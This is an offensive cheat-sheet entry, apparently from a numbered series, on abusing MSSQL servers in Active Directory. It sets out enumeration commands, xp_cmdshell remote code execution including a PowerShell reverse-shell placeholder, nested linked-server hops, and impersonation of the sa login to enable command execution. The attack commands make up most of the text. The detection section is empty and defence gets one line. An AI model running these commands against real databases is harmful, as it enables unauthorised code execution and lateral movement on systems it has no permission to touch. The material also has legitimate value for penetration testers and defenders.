🔷 Attack #76 — MSSQL Server & Linked Server Abuse

📖 How It Works

MSSQL servers in AD environments can be exploited for privilege escalation and lateral movement. Key techniques include: xp_cmdshell for RCE, linked servers for cross-server lateral movement (hopping through database links to reach otherwise unreachable servers), and impersonation to escalate from a low-privileged DB user to sa.

⚙️ Prerequisites

💻 Full Commands

🔵 Enumerate MSSQL Instances

# ── NetExec ───────────────────────────────────────────────────────────────────
nxc mssql 10.10.10.0/24 -u low_user -p 'Password1'

# ── PowerUpSQL ────────────────────────────────────────────────────────────────
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded

🔴 xp_cmdshell — RCE

# ── Impacket mssqlclient.py ───────────────────────────────────────────────────
mssqlclient.py corp.local/low_user:'Password1'@SQL01.corp.local -windows-auth

# Inside MSSQL:
# enable_xp_cmdshell
# xp_cmdshell whoami
# xp_cmdshell powershell -e <base64_reverse_shell>

# ── PowerUpSQL ────────────────────────────────────────────────────────────────
Invoke-SQLOSCmd -Instance SQL01.corp.local -Command "whoami"

🔴 Linked Server Hopping

-- ── Find linked servers ──────────────────────────────────────────────────────
SELECT * FROM master..sysservers;
EXEC sp_linkedservers;

-- ── Execute on linked server ──────────────────────────────────────────────────
EXEC ('xp_cmdshell ''whoami''') AT [SQL02.corp.local];

-- ── Double hop (chain through linked servers) ─────────────────────────────────
EXEC ('EXEC (''xp_cmdshell ''''whoami'''''') AT [SQL03.corp.local]') AT [SQL02.corp.local];

🔴 Impersonation

-- ── Check who you can impersonate ─────────────────────────────────────────────
SELECT * FROM sys.server_permissions WHERE permission_name = 'IMPERSONATE';

-- ── Impersonate sa ────────────────────────────────────────────────────────────
EXECUTE AS LOGIN = 'sa';
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';

🛡️ Detection — Event IDs

🔗 Attack Chain Context

[MSSQL Abuse] ──→ RCE via xp_cmdshell / lateral move via linked servers
         │
         ├──→ 💻 xp_cmdshell → SYSTEM/service account on DB server
         ├──→ 🔗 Linked servers → hop to unreachable network segments
         └──→ 💀 Defeated by: disable xp_cmdshell, audit linked servers, least privilege

✅ Attack #76 — MSSQL/Linked Server Abuse complete.